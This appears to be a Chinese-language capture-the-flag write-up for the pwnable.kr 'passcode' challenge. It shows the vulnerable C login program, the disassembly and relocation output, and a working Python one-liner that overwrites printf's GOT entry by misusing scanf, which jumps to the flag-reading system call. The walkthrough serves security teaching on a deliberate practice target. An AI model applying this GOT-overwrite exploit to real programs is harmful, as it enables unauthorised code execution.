question 1 2 3 4 5 Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2222 (pw:guest)
题目要求我们使用ssh登录到服务器上查看ssh passcode@pwnable.kr -p2222
,密码是guest
,有的时候可能有身份的校验,这个时候需要加上参数-o StrictHostKeyChecking=no
进行登录
passcode.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> void login () { int passcode1; int passcode2; printf ("enter passcode1 : " ); scanf ("%d" , passcode1); fflush(stdin ); printf ("enter passcode2 : " ); scanf ("%d" , passcode2); printf ("checking...\n" ); if (passcode1==338150 && passcode2==13371337 ){ printf ("Login OK!\n" ); system("/bin/cat flag" ); } else { printf ("Login Failed!\n" ); exit (0 ); } } void welcome () { char name[100 ]; printf ("enter you name : " ); scanf ("%100s" , name); printf ("Welcome %s!\n" , name); } int main () { printf ("Toddler's Secure Login System 1.0 beta.\n" ); welcome(); login(); printf ("Now I can safely trust you that you have credential :)\n" ); return 0 ; }
analyse 考点:
可以看到在函数login中对scanf的使用错误,因此我们只要能控制passcode1的值,就可以控制写入的地址
同时welcome没有参数,login也没有参数,我们可以通过welcome中的name来控制login中的passcode1的值。
用objdump -S passcode
查看汇编代码可以看到,name
位于ebp-0x70
,passcode1
位于ebp-0x10
,passcode2
位于ebp-0xc
,但是name
读入长度为100,无法覆盖到passcode2
的值。 看下可执行文件中的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Relocation section '.rel.dyn' at offset 0x388 contains 2 entries: Offset Info Type Sym.Value Sym. Name 08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__ 0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0 Relocation section '.rel.plt' at offset 0x398 contains 9 entries: Offset Info Type Sym.Value Sym. Name 0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0 0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
可以在passcode1
覆盖为printf
函数的GOT
地址,然后再输入system
函数位置,则下次执行printf
时其实执行的是system("/etc/cat flag")
,在这里要注意的是调用前的参数赋值等,system
的执行位置应放在 0x80485e3
get flag 1 2 3 4 5 passcode@ubuntu:~$ python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :)
flag
:Now I can safely trust you that you have credential :)